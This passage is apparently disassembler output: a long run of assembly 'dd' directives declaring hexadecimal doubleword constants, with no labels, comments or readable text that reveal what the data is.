		dd 52A6D2C9h, 932D80E0h, 8C49FE02h, 55A5F4ABh, 0A1000F5Ah
		dd 0EF7C3DEh, 0F1B9702Ah, 1222CD8h, 33D549C9h, 8B38C01Ch
		dd 0A745718Ch, 0BE80D919h, 0A8611E13h, 209501B9h, 3195319Dh
		dd 602F60D8h, 0BDF2BE9Fh, 445D8B58h, 0B19561AEh, 3A2001C4h
		dd 0A6548203h, 1F80786Ch, 0A6A8DCFh, 49DA810Fh,	0EAEE4D5h
		dd 72DACB7h, 7B20812Eh,	2E31BD03h, 3DE7109Fh, 0D960B30Fh
		dd 4552932Ch, 0A2A9F984h, 0BF2BF78Ch, 71F0DA09h, 2930428h
		dd 0B0D98A43h, 0A51DBB80h, 8055AA01h, 70E66AC3h, 4D1B202Bh
		dd 3200C59Ch, 5B8161C2h, 971E4E8h, 1E158D31h, 0C09ABC59h
		dd 0F9666133h, 4B9162Bh, 0AF254110h, 0FE2CA1A6h, 99A2C7Bh
		dd 0E47F3079h, 0E5BF1972h, 0FE5308C7h, 8905A656h, 9341C9BDh
		dd 0B509C82Bh, 8B0368E6h, 4A5296D1h, 0E614050Ch, 350DC3F8h
		dd 25405D62h, 7A80C2Eh,	5AF8AFC9h, 10154550h, 0DBCC125h
		dd 2EBA8B3Dh, 2D65A953h, 92AE3C12h, 0F155FC1Ah,	4ABF0108h
		dd 965F7DCh, 891032F9h,	17658D9Dh, 2107A58Bh, 0F4EEF9FEh
		dd 43235F59h, 185BA8EDh, 0DA0F001Eh, 0B9DD3A83h, 0D90B0494h
		dd 0E28C0252h, 0C26F5495h, 36219B6h, 58DB7357h,	31733A1Fh
		dd 0BD5E5102h, 42D99529h, 6EC15C30h, 81C15C7Bh,	2B08FDEBh
		dd 6B92BFF9h, 0D751003Eh, 0C60E9B68h, 65792814h, 75922B8h
		dd 95B9FA0Bh, 0E29EE808h, 83819554h, 4909BD31h,	0F3FF26C6h
		dd 53A191F0h, 94BBA82Eh, 181D1050h, 32445F25h, 50A16BA1h
		dd 0BFD22BD5h, 14254477h, 0AF536715h, 9400E2B7h, 70D08E3Fh
		dd 0B67650EFh, 0FDD424E7h, 0DFBF09AFh, 843B3F59h, 357F3294h
		dd 1049DE3h, 1711819Dh,	0A6AEFED4h, 727DF058h, 2EC73C31h
		dd 8F528A14h, 4A83C52Ah, 0C01CCA5Bh, 0D84AC381h, 0B879F557h
		dd 3C7D2EB8h, 8864E80Ah, 0FB12832Ah, 59F84709h,	0B94A4512h
		dd 4FEEC4Ah, 0C2D223ADh, 59BC241h, 60D8BB20h, 0B8083873h
		dd 0D060EF4Bh, 5CF07BFDh, 80020B12h, 0FC5BD8F7h, 0FF614A56h
		dd 282BF5E1h, 44CAD37h,	24A1D232h, 0FB37292Ah, 0BC232759h
		dd 7397D97h, 282189D3h,	0BDF3607Fh, 7E4A4960h, 427B54CAh
		dd 0B55D1104h, 9DBCDA4Fh, 2F099AC0h, 4C6823E3h,	8270812Bh
		dd 81004C54h, 8F982DC7h, 0E180276Ah, 1C11F09Dh,	0F547EC82h
		dd 7EB3D0E0h, 0D4F49B24h, 0D8BB5D12h, 6201742Ah, 897C0528h
		dd 482B35BBh, 6DAD446Fh, 0BCFCC07Dh, 4C75C5BEh,	0E8C990B0h
		dd 0EC7A523Dh, 0DD1B4A01h, 0B8547998h, 40274AEh, 0FDBD3375h
		dd 0A7A31206h, 9025074Ch, 7CC16DFh, 0D9C421B6h,	32CEA192h
		dd 0FA1E0DDh, 3EBE4700h, 89B72380h, 9050251Ch, 87DFB55Fh
		dd 657EB947h, 0EE3B40B1h, 0BBCF3F5Bh, 2182C30Eh, 413AC058h
		dd 6E4AA55h, 0EC84973Ch, 331372B3h, 0AAC0899Dh,	27276468h
		dd 2244CE98h, 0A3408F00h, 0F33E03A5h, 1B6FAEAh,	90EEF2CBh
		dd 0C81F2509h, 24050481h, 3186DC9Bh, 0AA4BB3F7h, 5D01CF3Fh
		dd 250FEFBFh, 0C7C33085h, 6679F625h, 2031B0AEh,	0E92531D9h
		dd 321DF7FBh, 36811791h, 2BC1EB80h, 0F2819535h,	2D2B1161h
		dd 0C0565A95h, 60862A2Ch, 4F0112AFh, 4F90B33Fh,	6139F96Eh
		dd 84B67894h, 0D10B0116h, 2B2685DCh, 0FC2FB52Dh, 4A6FC8Ah
		dd 4DA068BFh, 8D49C025h, 0F8B0898Bh, 895A9ACh, 8117CD6Fh
		dd 3DA141C5h, 640F1F60h, 358A0C31h, 20730A5h, 665660A0h
		dd 0F5763EB8h, 0B2966115h, 0FD01FFBCh, 0DFEF0F59h, 8DD5EB35h
		dd 5A7BAA29h, 0F9CECC8Fh, 5BB19A95h, 8C9870DCh,	169DC802h
		dd 0C627BF65h, 0F675024Ah, 0AE1FB36h, 247D8960h, 6605B81h
		dd 269712Ah, 0AF856815h, 717E832Dh, 4810C8E2h, 4C547AA9h
		dd 9D279CF1h, 91721277h, 0F9F00B83h, 0F1C58304h, 593E3C82h
		dd 26FEBCCAh, 63DDE380h, 83E0E0D8h, 0A92DE6E8h,	1E80E4A1h
		dd 0BEE54939h, 68F59801h, 0D41A17C9h, 0BF26E8F2h, 575202C0h
		dd 0E0F9B0F9h, 0C58E657Ch, 688E87E0h, 9901C878h, 0F12EFB45h
		dd 61F1ABFDh, 8AC2315Ah, 23D49D23h, 0ABA545A5h,	836780Dh
		dd 96BDAD00h, 57CF358Bh, 1D852E01h, 0B25B9232h,	0D54C8910h
		dd 3D435FCFh, 8FADADE9h, 0E7E53EECh, 68E0FE0h, 3D25DC8Ah
		dd 53A2B41h, 0B86BE9E4h, 56B43855h, 0CD10EFD8h,	5B5F130Eh
		dd 0BEE412E6h, 8B12C0B7h, 841CE2DFh, 0B2130412h, 57B0000Dh
		dd 442F54B3h, 0EF8102ADh, 0F59ACCF1h, 0A18560C0h, 2F8E314Bh
		dd 0F6A5EC35h, 927AE0D3h, 6638300Ch, 0C19589AAh, 7A9D2F4Ah
		dd 0B5598DF0h, 3859EC09h, 70958A4h, 0A53171F5h,	0F9000037h
		dd 0A8BACE61h, 1E3A97DFh, 1D50A3DBh, 3251052Bh,	24870F76h
		dd 0F3BD16B2h, 32791059h, 2C90962Dh, 34002259h,	0EF0C7728h
		dd 7B6012h, 4FBB5035h, 96388C4Bh, 6E5C8A0h, 422581A4h
		dd 50794522h, 1B97703Bh, 575A1425h, 0E6D7AEC9h,	3D54F007h
		dd 77FD0EA5h, 4E055C4Bh, 4AEBBC74h, 342B24CDh, 0B872A908h
		dd 0BED120DDh, 5A8231E2h, 653DBF8Fh, 82C94D01h,	0EED42EDFh
		dd 9ADA5859h, 0AE04C213h, 0F9C02C9Ah, 7143FF39h, 487C0E12h
		dd 3C1DB501h, 122E4E7Dh, 106FE749h, 0CD4A0C01h,	0A76E7F52h
		dd 9F0C070Fh, 2A08E3C0h, 0F286FF6h, 0E09A2288h,	816B9A95h
		dd 6A5A0601h, 0B857E93Bh, 8DB10139h, 0C23803DFh, 75EA271Fh
		dd 952D1FB9h, 25F34299h, 121177E0h, 0DEDC5081h,	0DB345F89h
		dd 0D6E9C368h, 1D543F07h, 4AC38BCBh, 0E93FFEh, 5A457ED5h
		dd 0C46F2C92h, 0F15215Ch, 0AA9F7FBFh, 1033CCA5h, 0F230A5BDh
		dd 0C5735F66h, 2F1A3D0h, 7E5B7F58h, 9C40F973h, 96811B05h
		dd 94500724h, 0DB579C9Bh, 5B80418Dh, 964A585Ah,	0B7800EDBh
		dd 0B8D9FA71h, 67F2BA04h, 36817BBCh, 0B2597F27h, 25359DE4h
		dd 8D5B0D2Bh, 57181759h, 4DE79204h, 96DBF88Bh, 90C01688h
		dd 9D89B291h, 9A54F789h, 5CD9B7E2h, 14485188h, 2D872BBCh
		dd 430DC0E6h, 81126DFFh, 71E318AFh, 37F7C625h, 403282CCh
		dd 6070352Ch, 0FE97F498h, 92C4AE2h, 84562671h, 0FADF8178h
		dd 21E03DAh, 0FFF384E9h, 54DC28Ch, 0E1CBB20h, 8B2C1267h
		dd 80559BC1h, 0F4534AC7h, 0DF64028Dh, 0F9852990h, 49BFA8A0h
		dd 3B4FB335h, 14EB67AAh, 0C274B822h, 566ADC8Ah,	9012DE03h
		dd 3F02EBD3h, 0CF6A5CEEh, 4B61413Eh, 0BFDBF896h, 550BD218h
		dd 0FFB5E0B8h, 949ACE82h, 0C8817132h, 2EA9A4D3h, 6D164816h
		dd 0BD5046B4h, 0AF2EFD90h, 0B635E6E2h, 12E2E93Ah, 39B8B00h
		dd 5A44D694h, 3F35FB01h, 0B6A91539h, 0D53A3FBh,	0A571EB66h
		dd 1F320CEh, 0B342F989h, 0A781F6C9h, 65832A37h,	0F893BEE2h
		dd 5EFE1295h, 0C9110460h
		dd 49C8521Fh, 4C9801D7h, 5EAACCA1h, 2A302E61h, 9C1E8F0Fh
		dd 56184494h, 0AE00B0B2h, 0BB311E82h, 8700FF5Dh, 0F3D4DDB7h
		dd 9DF4618h, 5F480CC2h,	4DA54873h, 0F3994053h, 49762FCFh
		dd 0AC300816h, 986C9500h, 59FF4664h, 0E7BC4DD1h, 5E8A3E4Bh
		dd 0BA259C34h, 0A8B070B6h, 3201E518h, 840EEA2h,	0EB002687h
		dd 6A25495Ch, 70B25B02h, 5A02596Eh, 3D2D32FEh, 69D2C144h
		dd 0BB06412Ah, 3B90C9F1h, 0FE4AEE44h, 835C101Ah, 3B535F40h
		dd 63F8D6h, 8733868Fh, 365AE1ABh, 5F42B718h, 9E616034h
		dd 2B9040C3h, 55C199Dh,	20ABA407h, 0CB8713BAh, 39A79D0Fh
		dd 0E3E846Dh, 0EAB189B8h, 74BC06B5h, 121C9949h,	0B64D52FDh
		dd 301DB268h, 13004694h, 772B0B9Bh, 3FC2CEB9h, 0BB021CB3h
		dd 7AF78AD8h, 0FB5DDA4Ah, 1F565898h, 9D016C0Eh,	421370Dh
		dd 292E1A99h, 5AE93A70h, 0F201D5ACh, 0FF79888h,	702B0A8Eh
		dd 2A994787h, 0C2A54125h, 909F578Eh, 6A801C91h,	0B13023EBh
		dd 0CB226607h, 7A31812Eh, 5CCE353Ah, 550469B2h,	0B8524B08h
		dd 2F78139h, 6377F0ACh,	667EFF6Ah, 59F22D16h, 9962F29h
		dd 907112F9h, 22013D43h, 0B8020CE9h, 7F480798h,	141B40CBh
		dd 83D71CE2h, 8FC427B0h, 0A800547Fh, 919802A6h,	0EE450Ah
		dd 262ACC21h, 0FAD371CEh, 5B0235E4h, 9D2370E6h,	1F3F5CA5h
		dd 0BD09C2E4h, 9E5C1B95h, 0B621F864h, 492292C8h, 61ADB331h
		dd 539F202Eh, 4149B531h, 0B85B2C65h, 7DB1BF01h,	92E2E38h
		dd 0FF0060A4h, 61E9D6EEh, 9DA30A97h, 2DA3C860h,	0CAB0F44h
		dd 60002BC3h, 0D2433CB8h, 0F9B26300h, 29D18B61h, 2CDD2ABDh
		dd 3FA66A97h, 97CF60EDh, 0A97EA5A1h, 0BAD33100h, 0FDB7A77Bh
		dd 10C74BC1h, 4065A2BDh, 865C25Fh, 95042E5Bh, 0CCB82115h
		dd 8EEF8180h, 414A3F2Fh, 209D3BB4h, 0A4952531h,	89491BD7h
		dd 0E9258744h, 0C74E56h, 8E8C9684h, 0BF660867h,	9834B828h
		dd 3FF8D35h, 0E82B3C01h, 222E369Ah, 7B7D31D7h, 0D3B6003Ah
		dd 6F513E71h, 20A58328h, 0EC58FE6Eh, 9508CC3Dh,	3C0029CEh
		dd 14671AD9h, 1223A9A8h, 0E61EA16Eh, 33E710D6h,	536B93h
		dd 3543A3F6h, 2F9E0F7h,	0B70F554Ah, 45B6AFAh, 3B0FD778h
		dd 0EC96F21Dh, 75B2C8EFh, 92A6B800h, 0AA8F3780h, 1E9601B6h
		dd 0F6C6507Dh, 0C6ED3B41h, 18C1DA8h, 0DC7EBA2Ch, 0D4C701F7h
		dd 0BB002747h, 4273A42Ah, 950EE3B9h, 1E40B64Fh,	1746C49h
		dd 336CEA5h, 2F22B301h,	85892101h, 0D10F31F5h, 4FCCC09Ch
		dd 0E684CBD0h, 0DF8107D6h, 0B928555Ah, 0F091571h, 61DD768Bh
		dd 47BAB5EBh, 1993800Fh, 0B6971A5Ch, 64FE9724h,	23220F7Eh
		dd 81A06C19h, 808482DBh, 0B920AD92h, 880D2714h,	0BABD7Fh
		dd 54324FDEh, 8A27E92Ch, 17B49BD9h, 0E6246D68h,	600A0053h
		dd 0FAA4D1C3h, 1C5AF69Eh, 4965B454h, 5779AECCh,	0E0F8CD27h
		dd 2CD0DAAAh, 9597257Fh, 45BB9D4Eh, 0ED639F74h,	0EAB8C5h
		dd 379F9034h, 17998A94h, 54B7FC12h, 8B894CF2h, 444C6F7Dh
		dd 21568273h, 59422D5Ch, 49330A1Fh, 0C042ED7Fh,	57A08D78h
		dd 0F10E235Fh, 0A34AB1E5h, 21BD3EA9h, 0DE372C11h, 3D7AA200h
		dd 0DB80307Bh, 0C78102AEh, 2150496Eh, 8D508D5Eh, 13EF9704h
		dd 34EDA140h, 5D0C094Dh, 0AA79231Ah, 42537844h,	52EFDA9Ah
		dd 61F250C0h, 458B9497h, 20573C2Bh, 0AF604E0Dh,	1800336Bh
		dd 4C511DFCh, 7450DF28h, 5C9F3DAFh, 527EC934h, 5A7301D4h
		dd 31C50970h, 43522F85h, 0DB2BAEE1h, 60038319h,	0A95C8802h
		dd 90BF500Fh, 0B98AEAF9h, 9C7A6CFh, 1A5C0DB5h, 0A65315C4h
		dd 2059E081h, 32E20991h, 0E8DFAEE9h, 957416h, 70B6797h
		dd 0C6D89945h, 0D9E24E01h, 91E0A90h, 2727AF30h,	0C7E45F49h
		dd 0FDCEFA00h, 59CC3E52h, 0D5BC5818h, 0B01331C7h, 0A1D62B1Ch
		dd 874C3606h, 4BEA5FFAh, 0FC328CDFh, 89B79897h,	9954A8Dh
		dd 9944902Fh, 8F279A04h, 3FC33D1Ah, 3FBFF0F8h, 696F4CB3h
		dd 0CB6EAF4Eh, 3C00EA4Fh, 0D7F28768h, 0CCBB043Eh, 0AA0AE9B2h
		dd 0F178AC03h, 8501E1C8h, 8263942Ah, 46D06513h,	91853595h
		dd 0B4B7831Ch, 0D0008F3Eh, 39E1B352h, 84DAB589h, 2131C707h
		dd 2F5572E3h, 15E99130h, 808FBB02h, 5EBC9CEEh, 560462A2h
		dd 0FCCA38BBh, 66CC7CBCh, 604B4950h, 52DF7BC4h,	0BFD99B80h
		dd 0ED298C8Bh, 7D01D4E8h, 0CE43E6E2h, 60D9341h,	0A5F45B02h
		dd 9217DE2h, 0CE254774h, 0D440B499h, 0CBDAC708h, 8FC62506h
		dd 89FF60C4h, 0C38C28BAh, 9F609729h, 7AE6AB80h,	43A6BB9h
		dd 197E4175h, 0A62AEB1h, 32722009h, 4F059659h, 871517FAh
		dd 88ECCCh, 41B2DCCBh, 6A9B441Dh, 0AB55239h, 0E3F054A6h
		dd 5C044609h, 6600DECAh, 0EFB521A9h, 17BA40BBh,	0F3960A7Dh
		dd 0A78F030Ch, 0D8D1B7DBh, 797BB96Ah, 277E057Ch, 6F968353h
		dd 12BE4EB0h, 0BD05C4E0h, 1D4EC6Eh, 35BE999h, 2E21159Dh
		dd 8A12138Eh, 9D07E8DDh, 0A9BF0138h, 895CCD59h,	58FB0B41h
		dd 97F0C136h, 61018DCBh, 145DCE9Ah, 0ABE1BB66h,	2BC0302Fh
		dd 34481BDh, 538F510Fh,	0E25B51FCh, 0BC24F289h,	4600DCD3h
		dd 0E2E73112h, 25ECFDB8h, 61736B9Ah, 8D181959h,	5A4BF504h
		dd 868051D8h, 40259D23h, 0BD976128h, 811D9183h,	0A8E97480h
		dd 17D370F4h, 4CF684Bh,	0B8267173h, 0D336E264h,	79D0D8C9h
		dd 9842A900h, 5A293D1h,	1092B02Eh, 90AF985h, 641FE95Bh
		dd 9794F606h, 61726D9Dh, 0F83B57FEh, 899B9DE2h,	5E5F820Bh
		dd 14455130h, 9DB892A9h, 0C2D9B00h, 17167FBDh, 0E9569FF5h
		dd 35CBC80h, 854FA7h, 21CCA67Ah, 1F69C782h, 78291925h
		dd 759E97E6h, 5303F925h, 2E38D1D8h, 52DDC3C1h, 0CE802268h
		dd 5F3D36E0h, 0CCBE6501h, 0BAB54AD9h, 8133352Ah, 2F3081F5h
		dd 0B3896073h, 0CC194A31h, 0F7EF60B4h, 41295DDh, 24110192h
		dd 1BA84FB9h, 7D69D8Ch,	250547CAh, 0B9A35051h, 0B69E844Ah
		dd 6738E041h, 0E05D1282h, 4BFBB6B3h, 0B430318Dh, 0E6D9D2A5h
		dd 3016B2E1h, 11025E5Dh, 6AEB45BBh, 0CFD68112h,	352F1B4Fh
		dd 0E013F633h, 4EECD80Fh, 8E30BE60h, 81276585h,	5F132F61h
		dd 0ABB083A7h, 0CA028A47h, 0DBBF0F53h, 9DAB705Bh, 0EF4717Ch
		dd 0C5BD8977h, 5C854B10h, 79195AC8h, 34F827D3h,	57000D79h
		dd 30E161A2h, 0A9F4004Fh, 0C8B3FB7h, 8C97E323h,	4B595250h
		dd 2E4ADD24h, 78041D35h, 0E1122C55h, 85C0A6F5h,	413400DEh
		dd 0D830148Fh, 0C5B55D27h, 416E320Bh, 1FF3F825h, 0D1B52674h
		dd 579689F9h, 13F7500h,	5C9F505Bh, 0DDEB40C4h, 87035C60h
		dd 7B5F134Ah, 0A3C388AAh, 16F3F03Eh, 9965B29h, 0A2DEE858h
		dd 6B2EF756h, 172332h, 9FC65BA7h, 461358BBh, 0D0AF4459h
		dd 0A309E6A4h, 0F717BC03h, 98BB6052h, 0B620453Ch, 422440FBh
		dd 3F12FF85h, 2BF3D803h, 0CDB5600Bh, 0CAD4E02h,	2FBC6104h
		dd 0F2944A2h, 0A38DCA46h, 58F9BE80h, 0B6617F71h, 0B0510D6h
		dd 468E0F96h, 0C1D4876h, 0B47E1E4Ch, 7C01DCB1h,	823147B8h
		dd 0F95DA137h, 82078920h, 42D4D7E2h, 9414CE25h,	371FD477h
		dd 0D181B70Bh, 67E84A7Ah, 138FCC8Ah, 2DEDC240h,	0BB9796D5h
		dd 3725039h, 0E35E1D25h, 0F84B25F7h, 691121E5h,	49E6B313h
		dd 4B090A6Fh, 0B7271971h, 303E1232h, 914DA32Dh,	8261E50Eh
		dd 0D8830787h, 0C635EA07h, 0EED3C7DEh, 0B3AA7D8h, 89BD23D2h
		dd 1155C656h, 0F3DD811Ah
		dd 6CF890B3h, 94BB01A1h, 0E9413E56h, 0C7C16AE2h, 9B3AC18Bh
		dd 0A0C480C9h, 9D9B2E4h, 0E9F88D40h, 58E8E15Ch,	0E0FA017Eh
		dd 338984A2h, 20B86870h, 0D6CA02Ah, 2F508104h, 0D20002FDh
		dd 0AD14EA64h, 611F9B11h, 0BD80F58h, 327331Fh, 0C5FC20CEh
		dd 0E0F004D2h, 5004BF61h, 5F3781F2h, 0DB2B0BB5h, 383D85AFh
		dd 8801B9F2h, 0AA2F1A91h, 4F6538D6h, 61C35DC4h,	0A6EEACDAh
		dd 0D6A7E07Bh, 1DA0905h, 26D68ACCh, 62882F13h, 9C760399h
		dd 0A394FEE4h, 0AC0BDEB8h, 5362211Dh, 7CCA914h,	651C60Fh
		dd 70B88145h, 0BC5ADEC4h, 0BC3459BEh, 6C4A27C6h, 91B73F48h
		dd 5C896081h, 0D4483CDh, 8C0A0E00h, 0A13DB8A2h,	1C950453h
		dd 0AE613482h, 3FE3AD74h, 0BD8D0904h, 0B0B81332h, 826E8D4Bh
		dd 0FFA6F666h, 0E0FFEDD1h, 51331836h, 0E4548A1Dh, 134EE5E5h
		dd 929EEF7Dh, 6AC03D95h, 0DD853102h, 90161096h,	0A6ACDF16h
		dd 0EE6834C0h, 0C81329CEh, 0C0A69010h, 0FB5932E7h, 0DBE9247Eh
		dd 1A6250FBh, 0A7E95212h, 19E2B8B8h, 24ED2B42h,	0FD5C96E0h
		dd 0EA895060h, 0BFA8C00Fh, 3034544Ch, 3709615Ah, 9D5279F8h
		dd 9F906756h, 14001552h, 0D4A99346h, 1CD30AEFh,	12995D45h
		dd 0E8EF12E5h, 8C1CFC00h, 8E456A00h, 1BD1503Eh,	3E3154F3h
		dd 1406EC9Ah, 86BBC537h, 8A5E1400h, 72FB698Bh, 234CB097h
		dd 0EB55D9Dh, 1321C84Ah, 5DC9FE01h, 0ADBCE135h,	730422D8h
		dd 0EDCA7D5Fh, 975B1770h, 0C86F3AA9h, 29BBCD64h, 0AD603F41h
		dd 9531A1BDh, 6B9CF3CEh, 3F2900DCh, 1A320D8Dh, 0E30C81F5h
		dd 0BEC1EA6Fh, 7A6D9DFFh, 336F8AC0h, 0D701D1Eh,	9DDD777h
		dd 5FD40541h, 1C5372Fh,	93C8D201h, 807E28EBh, 722EEAC6h
		dd 0E0590284h, 0B185F4CBh, 0E23BB8E0h, 0B19749F6h, 90150DA3h
		dd 0B01E7841h, 0F4D8989Dh, 0B1D501D7h, 7AF66191h, 96727F29h
		dd 13955E84h, 9E061D52h, 1EC1E7E4h, 69B70125h, 0D695492Fh
		dd 0C96CDFh, 0A5E073CAh, 0C5B557A2h, 21B03102h,	5EC8F97Eh
		dd 0D31A25A8h, 17D5A360h, 9549EC95h, 0BD10FB4Ch, 0E582A35h
		dd 0D9D8909h, 95092840h, 79117925h, 0CB031F59h,	0FD56053Dh
		dd 51850940h, 57EB9520h, 2D554018h, 4F8AD151h, 0DF22AADEh
		dd 89C67C85h, 96846FBBh, 0D87BC2Eh, 0CBEEB80h, 0E28529C0h
		dd 84999715h, 0A290090Eh, 45E91828h, 97F95617h,	0AA0B77B2h
		dd 119753F2h, 16152D77h, 4B21AD81h, 7FB37298h, 54955054h
		dd 5896E360h, 8036C045h, 61131CD1h, 0ABB59501h,	0C1735EDEh
		dd 3B5142CAh, 0F8C0F89Bh, 65139864h, 89CBEA0Bh,	0C987FA85h
		dd 3E79F950h, 474660A7h, 0B95B0BF5h, 47D30F7Eh,	2D1DD4D0h
		dd 0B75BEDF9h, 94C0E2D9h, 9B39041Dh, 0BDFC70C9h, 0EDB8F5h
		dd 9F26BD7Dh, 0FAEE3C0Dh, 22098FBEh, 24FE5977h,	7600DEF3h
		dd 0BB68F7CDh, 5814911Ah, 651049A2h, 4FBA3810h,	0BDB1CDE7h
		dd 9726D492h, 0DB80FE09h, 69707BB1h, 0E0EC47D7h, 7137D2D6h
		dd 1B67A62h, 1D37705h, 227C478h, 7780D209h, 8D5E4674h
		dd 44F14Bh, 13955837h, 46273510h, 7BCC8992h, 0AEB8DB7Dh
		dd 0A00BFD2h, 95F9B503h, 4CF860BAh, 61C92F89h, 5C9E8B7Ah
		dd 27C712F4h, 80A7ACD2h, 24A0043Dh, 0A57103E8h,	934F25F9h
		dd 0DE561F80h, 0DA96EA12h, 80B09FF2h, 4297EFC7h, 51795C4Bh
		dd 0BD57C25Dh, 14D8095Bh, 30E95D82h, 0D12F208h,	15587AF7h
		dd 57D8884Eh, 0D01F2A04h, 60BCC57Bh, 69BE60C0h,	304CC978h
		dd 0AE952978h, 9DEBBB05h, 0E120CE87h, 7209F4B7h, 250FBE8Dh
		dd 27394BC5h, 0A237F504h, 6146D88Bh, 0CE2B0A77h, 3FA12F5h
		dd 0EBE822B9h, 8CC48E16h, 6591460Ch, 952B1260h,	31EA4F5Dh
		dd 0B82794B3h, 984B374h, 0A1B50973h, 874F4E5Ah,	3840E931h
		dd 209D0560h, 81022EE1h, 0BE5034EFh, 2D615E22h,	0FAF4D590h
		dd 30E4E00h, 7C217E99h,	0F9490085h, 81836471h, 7409DECBh
		dd 785B78B8h, 0C7B79F56h, 892D0600h, 9DF13CAh, 289A9349h
		dd 0FC68477Ah, 0B50F862Bh, 0AD91933Dh, 61020E75h, 566BA156h
		dd 1846D653h, 0F395B802h, 0BDDEE30Bh, 5870AB0Bh, 850F2F99h
		dd 0DE79B666h, 0D88A3116h, 0FA3082B5h, 3F40E195h, 0B25B168h
		dd 8C0F301Fh, 28DEE57h,	0DF514EC7h, 75E70E7h, 2F26383Ch
		dd 0C0D76D30h, 6F92AFDBh, 0CA744B0Bh, 0D5BC0210h, 0E9245E23h
		dd 6640E9DCh, 555421h, 0A7ACF1CFh, 0EF4114AEh, 1BA311Eh
		dd 0E35DD740h, 9E88160h, 1D8C25A1h, 0BF02E6FFh,	0ACEA2F89h
		dd 4E81AFB7h, 1A8E9DFh,	7516F972h, 0DC3FB90Ch, 2BF366D2h
		dd 88056F50h, 0AAC92BBBh, 0BFF5702Fh, 0DC86773Dh, 0A60ACh
		dd 0E4FB4B34h, 6D95312Fh, 8EF7294Ah, 0B571A650h, 0FA890E85h
		dd 0B300C36Fh, 9FA3F2BEh, 4B5DD1E0h, 29930014h,	0D21426BBh
		dd 3739367h, 13D5BD31h,	4467713h, 50FFE504h, 531831EBh
		dd 2B42FE5Fh, 8B37F7h, 0D56F3C9Ch, 0E30281F9h, 376B27F6h
		dd 14905D60h, 0D003511h, 84D6D46Ah, 713C0FDh, 212B4D6Dh
		dd 0D7C24EA7h, 0CD69EA94h, 5C610220h, 5C446BF1h, 245D9E00h
		dd 471BC5D7h, 0D989003Ah, 6857AB6Dh, 31095A0Eh,	0FC605079h
		dd 4F56CB33h, 2E59F182h, 0DCD8DC79h, 29F67E12h,	0B05ECDE3h
		dd 2CE35615h, 9D7987B4h, 1FC09910h, 8BF70016h, 91FE2BC4h
		dd 3C02C1B0h, 505F5B42h, 1CD8C656h, 0C0854B6Eh,	5BA3DB3h
		dd 760106F6h, 0E29622F3h, 5FEC55D1h, 0CC3A9790h, 2FE3B555h
		dd 220575C1h, 0E2A25A46h, 41CD612Fh, 40A73EC0h,	404EB64Bh
		dd 38D5AC1Fh, 0B800D474h, 0F9FEC317h, 0C45BC0B7h, 0AF273D7Eh
		dd 0EB41863Dh, 382E0D99h, 38BF25DEh, 0A03BAEh, 0BF7080F5h
		dd 793A498h, 1FD32CFEh,	0CA27DFFCh, 4079127Dh, 12950252h
		dd 0E3614439h, 2B28AECDh, 0E21B5BD4h, 0CA85CA3Dh, 74A6DA35h
		dd 7B110DE0h, 4DBD3312h, 19510549h, 0B5DC0467h,	4CC21C9Fh
		dd 69D8C073h, 0F5C9469Ah, 16B46F12h, 0DBC8C0E2h, 0C529518Fh
		dd 28FF2E65h, 0BB006673h, 69BFD656h, 9739EFCBh,	7853991Ah
		dd 55537F72h, 27405AA5h, 0C5FB89B5h, 26AA1CD8h,	16A13225h
		dd 0AD3BB9FAh, 16A2BB1Ch, 0F050BC68h, 0CD9F3498h, 0C496E0E4h
		dd 3B12D8D4h, 6BAA50B3h, 192323h, 8FE45B7Dh, 0F85A6CF1h
		dd 0F65B39E7h, 0B250A2C3h, 28B0D5BEh, 997DEBFh,	694FFDA8h
		dd 6D439B40h, 2DD7967Dh, 0F6602E6Fh, 24FEB068h,	8882FC8h
		dd 0E2272D61h, 9561F881h, 0B56AE89h, 198F01DCh,	0DC76D9B0h
		dd 0B3002E0Fh, 404F2FBFh, 4AB7F247h, 0B2FFE6FEh, 198301Ch
		dd 4A82E203h, 0ACE8BF80h, 5A065A96h, 0B267E6DFh, 255D301Bh
		dd 0DAB92B00h, 142C90Dh, 0C9E54AB5h, 5FA62A8Ch,	4589ECE1h
		dd 6A0DA1E0h, 18C89D9Ah, 3774C9h, 0B509CC05h, 0E5952D1Dh
		dd 1C0D7040h, 0FD1FC0B7h, 93DD92E9h, 95E9A86Bh,	0CD5CC39Ah
		dd 0E4EE5925h, 0F97BEA71h, 0ACF63B00h, 8D1ABFE2h, 9D03BA0Bh
		dd 967261B9h, 0C5024F71h, 5CE02E07h, 43F9DB61h,	0BA3B60FCh
		dd 181F1EFFh, 0FE965BC9h, 2117DCF0h, 4B1268CDh,	56EF6802h
		dd 403E742Eh, 4E8720FFh, 1931156h, 0B90CCB81h, 742E17B1h
		dd 0DAE3FAE6h, 0AE2835F0h, 7A13F71Fh, 89483AC1h, 83384D8Dh
		dd 9BA5BB02h, 41906A97h, 65279D0Bh, 96A5122h, 0F2725BDFh
		dd 15D82293h, 614A000Dh, 805099F9h, 5B029BD3h, 7F753BFh
		dd 51F75C21h, 5CF81217h, 0C60965F1h, 9EDFA1F5h,	0D093C6D3h
		dd 0A5B8ECAFh, 0A01EF6F4h
		dd 0FCAF356Bh, 95DB07E7h, 49E97D96h, 0E80C055Eh, 0FB82D0Ah
		dd 874B80D6h, 4E937DA1h, 6F082AC5h, 0A9642D31h,	0C6FCC125h
		dd 0CB40B598h, 5B725090h, 3EED2EECh, 1805CC6Eh,	0FBBD9D8Bh
		dd 0D14B945Dh, 61C4572Ah, 53EF154Fh, 80339BD2h,	0B34292A8h
		dd 913409D1h, 0CAA12F2Eh, 2451D574h, 0D41551Ch,	0E62F122Bh
		dd 0A30CE332h, 0F8B6F8DBh, 0ACC64A48h, 1CE30C64h, 4891CAC5h
		dd 0BB824E1Ah, 0F754364Ch, 0D9DB725h, 13A8812h,	490B6DD9h
		dd 6CFB0092h, 74BF205h,	6325548Dh, 1221A62Ah, 4844D5BDh
		dd 6EFBD1FFh, 25948F4h,	748D8466h, 0D2724244h, 0DCC6BD83h
		dd 575624A2h, 7BFADD53h, 4A4000C9h, 56DBA8C6h, 0A4CF2542h
		dd 943F7864h, 96CB8EEFh, 0F5403D19h, 0D91B47A2h, 6A7D1B3Fh
		dd 98F7FE02h, 5225C820h, 809072FCh, 27310F95h, 367ACCB3h
		dd 37C9BF09h, 0C18B0EFCh, 906134DAh, 97DB8520h,	1A915E35h
		dd 4322EE81h, 17C46FAAh, 0E91223F8h, 0E194B89Dh, 6007D57Eh
		dd 0A6D28EC3h, 5DDB194Fh, 0DB4FFD80h, 1997FC9Fh, 986A535Ch
